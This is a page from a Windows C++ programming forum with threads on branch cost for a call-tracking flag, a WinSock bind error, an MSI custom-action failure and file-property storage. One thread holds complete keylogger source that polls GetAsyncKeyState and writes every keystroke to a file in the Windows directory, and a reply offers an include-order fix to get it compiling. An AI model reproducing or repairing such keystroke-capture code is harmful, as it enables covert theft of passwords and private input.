|
|
Dual Core 1.8 GHz, 2 GB, 32 bit OS, Release Build with default optimizations (Visual Studio 2005).
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke
[My articles]
|
|
|
|
|
Now I got a clue why its so slow on my cpu.
On an 64 bit machine 32 bit application are not that fast (can't test it with x64 because this allows no inline assembly). This also explains why both tests didn't perform at the maximum speed they could do and also 16/32 bit instructions are slower on an 64 bit cpu then the 64 bit instructions.
Thanks for the time you took to test it on your machine .Greetings
Covean
|
|
|
|
|
and even more should the byte code show the differences.
I guess checking needs some commands Press F1 for help or google it.
Greetings from Germany
|
|
|
|
|
My usual way:
static bool _bWasFooEverCalled = false;
inline bool WasFooEverCalled()
{
return _bWasFooEverCalled;
}
cheers,
ARWhen the wise person points at the moon the fool looks at the finger (Chinese proverb)
|
|
|
|
|
Option A is more efficient. The main reason is that the 'if' statement changes the program flow, which can interfere with the CPU's pipelined execution.
Modern CPUs typically have several consecutive instructions in various stages of execution. For a linear instruction sequence, N stages will process N times as fast as a single stage. When there's a branch, however, this efficient arrangement is messed up, and can result in flushing the instruction cache, losing the speed advantage from pipelining.
Bottom line: For maximum efficiency, avoid branches (both conditional and unconditional) as much as possible in the critical sections.
|
|
|
|
|
There you are completely right. But if you take a deeper look you will see that, there
will only be 1 branch (at the first call) and after that it never will flush the instruction cacheGreetings
Covean
|
|
|
|
|
But if the function call is compiled inline (which is reasonable, since it's called frequently and needs to be efficient), that branch may be in the middle of an otherwise linear instruction sequence. In this case the option without the branch would be more efficient.
|
|
|
|
|
'Option B' was not compiled inline while 'Option A' was: I had to make the function 'fatter' to obtain a standard, i.e. not-inline one (VS2005 Release Build with default optimization options).
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke
[My articles]
|
|
|
|
|
a really clever compiler would know that option B can be thought of as an equivalent to option A. the end result is always: WasFooEverCalled = true
if WasFooEverCalled is false, it will be set to true. if it's already true, setting it to true again changes nothing. might as well just set it to true, always.
|
|
|
|
|
In many cases, it will be faster to blindly write to a variable than to do so conditionally, though the difference is unlikely to be great. The only time that conditional writing would be faster be in multi-CPU architectures which require pre-arbitration of memory writes (which is how I understand some of them work). In that scenario, if two CPU's were repeatedly trying to write 1 to the same variable, performance may be quite poor as the CPU's would spend considerable time acquiring and releasing control of the cache page holding the variable in question. If instead the variable was only written once and the CPU's simply had to read it repeatedly, the variable could be held in both CPU's caches with zero time wasted on arbitration.
|
|
|
|
|
Option C:
(but its only reasonable if you can't inline the foo function)
In this example you just have to call foo() (what will be "inlined" be the compiler)
At the first call it calls _FooFuncAndSetBool. There it sets the bool value bWasFooEverCalled
and after that it set the function pointer to the function _FooFuncWithoutSetBool.
Every later "inlined" call to foo() will just call you funtion without setting or checking
a value.
But as I mentioned before its only reasonable if your foo() funtion itself can't be inlined,
because there will always be a call statement in assembler and call statements are
always slower then "inlining" a function.
And now the CODE: (I hope its not that cruel )
typedef void FooFunc();
void _FooFuncAndSetBool();
void _FooFuncWithoutSetBool();
bool bWasFooEverCalled = false;
FooFunc* pFooFunctionToCall = &_FooFuncAndSetBool;
void _FooFuncAndSetBool()
{
bWasFooEverCalled = true;
pFooFunctionToCall = &_FooFuncWithoutSetBool;
_FooFuncWithoutSetBool();
}
void _FooFuncWithoutSetBool()
{
}
inline void Foo()
{
(*pFooFunctionToCall)();
}
Maybe this is an alternative for you.
[edit] Added the call _FooFuncWithoutSetBool() to _FooFuncAndSetBool().Greetings
Covean
modified on Thursday, March 4, 2010 6:48 AM
|
|
|
|
|
Hi all,
I am using a WinSock programming for Client and Server Machines using Dialog Based Applications in MFC. I am using this Socket Api's like
In Server Side.
---------------
1) socket(AF_INET,SOCK_STREAM,0)
2) bind(listen_socket, (struct sockaddr*)&local, sizeof(local))
3) listen(listen_socket,1)
4) accept(listen_socket, (struct sockaddr*)&from, &fromlen)
5) recv(msgsock, Buffer, sizeof(Buffer), 0);
6) Close(...)
From Client i am sending the Data. First Time the Data is Sucsefully Transmitted. But in the Second time When i am trying to Bind the Socket in Server Side it is giving an error such that WSAEADDRINUSE. the second time onwards i am not able to bind the socket and not able to send data towards the server machine. please help me out.
Thanks in advance.
uday.
|
|
|
|
|
Server could have the only listen/accept in its main loop,
start a communication thread for each accepted client with recv/send
If you just test the only one client communication -
only recv/send could be placed in to the servers loop Check your definition of Irrationality[ ^]
1 - Avicenna
5 - Hubbard
3 - Own definition
|
|
|
|
|
Dear Sir,
I have maintained two threads for both Client and Server. I mean I created a Thread in Button Click events of both Server & Client, There i have created a socket connection.
So it is giving that error. Any problem in doing that.
ie..
----
in Server Side
------------------
In Button Click Event of the Dialog, I created a Thread and inside the Thread i have written the Above Procedure to Connect the Thread and Bind. First time it is ok. But Second time Bind is been failed.
what is the wrong with the Code. Please help me out.
Thanks & Regards,
Uday.
|
|
|
|
|
Dear Uday,
any thread function (for an one client solution) may have
- a beginning part (server: create/bind/listen/accept , client: create/connect )
- a loop part (server & client: recv/send )
- an ending part (server & client: close )
So you have the only one call for bind Check your definition of Irrationality[ ^]
1 - Avicenna
5 - Hubbard
3 - Own definition
|
|
|
|
|
Dear Sir,
Now i Got It Thank You Very Much.
Thanks & Regards,
Uday.
|
|
|
|
|
I am trying to implement KeyLogger in our application. It give me following errors -
'GetWindowsDirectory': identifier not found and 'GetAsyncKeyState': identifier not found.
I have already included the header files which are needed for these functions.
Can anyone tell what I am doing wrong.
I am using using following code -
#include "Windows.h"
#include "WinUser.h"
#include "stdafx.h"
#include <iostream>;
#include <fstream>;
#include <stdio.h>;
void keys(int key,char *file)
{
FILE *key_file;
key_file = fopen(file,"a+");
if (key==8)
fprintf(key_file,"%s","[del]");
if (key==13)
fprintf(key_file,"%s","\n");
if (key==32)
fprintf(key_file,"%s"," ");
if (key==VK_CAPITAL)
fprintf(key_file,"%s","[Caps]");
if (key==VK_TAB)
fprintf(key_file,"%s","[TAB]");
if (key ==VK_SHIFT)
fprintf(key_file,"%s","[SHIFT]");
if (key ==VK_CONTROL)
fprintf(key_file,"%s","[CTRL]");
if (key ==VK_PAUSE)
fprintf(key_file,"%s","[PAUSE]");
if (key ==VK_KANA)
fprintf(key_file,"%s","[Kana]");
if (key ==VK_ESCAPE)
fprintf(key_file,"%s","[ESC]");
if (key ==VK_END)
fprintf(key_file,"%s","[END]");
if (key==VK_HOME)
fprintf(key_file,"%s","[HOME]");
if (key ==VK_LEFT)
fprintf(key_file,"%s","[LEFT]");
if (key ==VK_UP)
fprintf(key_file,"%s","[UP]");
if (key ==VK_RIGHT)
fprintf(key_file,"%s","[RIGHT]");
if (key ==VK_DOWN)
fprintf(key_file,"%s","[DOWN]");
if (key ==VK_SNAPSHOT)
fprintf(key_file,"%s","[PRINT]");
if (key ==VK_NUMLOCK)
fprintf(key_file,"%s","[NUM LOCK]");
if (key ==190 || key==110)
fprintf(key_file,"%s",".");
if (key >=96 && key <= 105)
{
key = key - 48;
fprintf(key_file,"%s",&key);
}
if (key >=48 && key <= 59)
fprintf(key_file,"%s",&key);
if (key !=VK_LBUTTON || key !=VK_RBUTTON)
{
if (key >=65 && key <=90)
{
if (GetKeyState(VK_CAPITAL))
fprintf(key_file,"%s",&key);
else
{
key = key +32;
fprintf(key_file,"%s",&key);
}
}
}
fclose(key_file);
}
int _tmain(int argc, _TCHAR* argv[])
{
char i;
char test[1000];
GetWindowsDirectory(test,sizeof(test));
strcat(test,"//keys.txt");
while(1)
{
for(i=8;i<=190;i++)
{
if (GetAsyncKeyState(i) == -32767)
{
keys (i,test);
}
}
}
return 0;
}
|
|
|
|
|
|
Those look like compiler generated messages, not linker ones.
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke
[My articles]
|
|
|
|
|
Try changing the order of include files as follows and check if it works
#include "stdafx.h"
#include "Windows.h"
#include "WinUser.h"
|
|
|
|
|
Hi
I create MSI installer using VS2005 for my application. For adding custom action in MSI installation , I add one exe in Custom action.
When install application using MSI, dialog box in my custom EXE is pop up,
and when I click by mouse on any button on dialogbox(custom.exe), installation done smothly, but when I press "Enter" key instead of mouse click, then one MSI message popup as
"There is a problem with this Windows Installer package. A program run as part of the setup did not finish as expected. Contact your support personnel or package vendor."
anybody know about this error.. please give some hint..
Thanks
aaa
|
|
|
|
|
Check for your app to be topmost or systemmodal so your app gets the enter key.
Or is a bug in the app. Does it run on its own properly?Press F1 for help or google it.
Greetings from Germany
|
|
|
|
|
Can you check if dialog box shown from the custom action is the foreground window.
|
|
|
|
|
I am using Visual C++ V6 and am trying to change the comments property of a file.
I am using the code below but get an error message 0X80030002 - which by using 'Error Lookup' is %1 could not be found.
Can someone explain what I am doing wrong?
I am trying to change the properties of a .txt file
CString text_filename;
text_filename = "c:\\text.txt";
const WCHAR *c = (const WCHAR *)(LPCTSTR)text_filename;
IPropertySetStorage *pPropSetStg = NULL;
IPropertyStorage *pPropStg = NULL;
PROPSPEC propspec;
PROPVARIANT propWrite;
PROPVARIANT propRead;
HRESULT hr = S_OK;
hr = StgOpenStorageEx( c,
STGM_DIRECT|STGM_SHARE_EXCLUSIVE|STGM_READWRITE,
STGFMT_ANY,
// STGFMT_STORAGE //Structured Storage property sets
// STGFMT_FILE //NTFS file system property sets
0,
NULL,
NULL,
IID_IPropertySetStorage,
reinterpret_cast<void**>(&pPropSetStg) );
|
|
|
|
|